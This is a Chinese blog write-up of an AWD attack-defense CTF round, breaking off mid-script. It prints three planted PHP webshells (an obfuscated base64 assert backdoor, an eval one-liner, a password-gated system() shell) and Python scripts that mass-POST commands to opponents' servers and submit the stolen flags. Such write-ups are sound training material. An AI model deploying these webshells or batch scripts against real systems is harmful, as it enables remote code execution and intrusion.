AWD-simple


AWD

simple


启示:新收获,体会到了AWD的乐趣

尽管笔者还是很菜,但是事后学会写批量化脚本成功后,还是体会到了AWD的乐趣,有点意思~


准备工作:
通过WinSCP(Xshell等)连接登录后,备份/var/www/html,将此目录下的所有文件拖入D盾,发现部分漏洞。👇

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xtLfe397-1605103291707)(/temp/AWD/simple/D.jpg)]

挨个修叭


1

.config_common.php

<?php 
error_reporting(0);
set_time_limit(0);
$a=base64_decode("Y"."X"."N"."z"."Z"."X"."J"."0");
$a(@${"_P"."O"."S"."T"}[520]); 
?>

简单分行后,将’YXNzZXJ0’进行base64加密后得’assert’,即assert(@$_POST[520]);,意为传入一个名为520的变量,方式为POST传参,后以PHP代码的方式执行。

因此,在网站上尝试POST传参’520=system(‘cat /flag’);'后可得flag。👇

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gSr3IIc6-1605103291709)(/temp/AWD/simple/config_common.jpg)]

接下来就是批量化的过程,明确思路:

1.攻击端口

port_start=8801
port_end=8808
my_port=8802
flag=[]
token='1f208fe1a06b1d6db7ff6b7a7db3aefe'

2.获取flag

def config_common(i):
    attack_url='http://XXX:'+ str(i) +'/.config_common.php'
    data={"520":"system('cat /flag');"}
    req=requests.post(url=attack_url,data=data)
    print(req.text)
    flag.append(req.text)
    #print(flag)
    exception(req)

3.提交flag

for i in range(port_start,port_end+1):
    if(i==my_port):
        continue
    else:
        config_common(i)
        #pdd(i)
        #function111(i)
        #function4eff2(i)
        #ciscn_notes(i)
        #ciscn_config2(i)
        #ciscn_include2(i)
        #ciscn_url(i)
        #ciscn_include(i)#冰蝎
        #ciscn_config1(i)
        submit_url='http://XXX:9090/'
        for i in flag:
            submit_flag={'flag':i,'token':token}
            requests.post(url=submit_url,data=submit_flag)
time.sleep(60*5)

其中还包括异常处理的部分,可逐步完善。


2

pdd.php

<?php @eval($_REQUEST["pdsdt"]);?>

与第一题大同小异,网页命令同为’pdsdt=system(‘cat /flag’);’

贴脚本,相同部分不再赘述:

def pdd(i):
    attack_url='http://XXX:'+ str(i) +'/pdd.php'
    data={"pdsdt":"system('cat /flag');"}
    req=requests.post(url=attack_url,data=data)
    print(req.text)
    flag.append(req.text)
    #print(flag)
    exception(req)

3

111.php

<?php
$pass=$_POST["password"];
if($pass == "4eff2c041976ea22afb7092a53188c70")
	{
		system($_GET["getshell"]);
		readfile("/flag");
	}
else
	{
		echo "be1c5ff7101b7791469b5df2315cf75a";
	}
?>

POST传入一个名为password的变量赋值给pass,若该变量(password=>pass)==“4eff2c041976ea22afb7092a53188c70”,则系统自动返回根目录下flag的操作;若不是,则返回假的flag。

脚本如下:

def function111(i):
    attack_url='http://XXX:'+ str(i) +'/uploads/.111.php'
    data={"password":"4eff2c041976ea22afb7092a53188c70"}
    req=requests.post(url=attack_url,data=data)
    print(req.
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值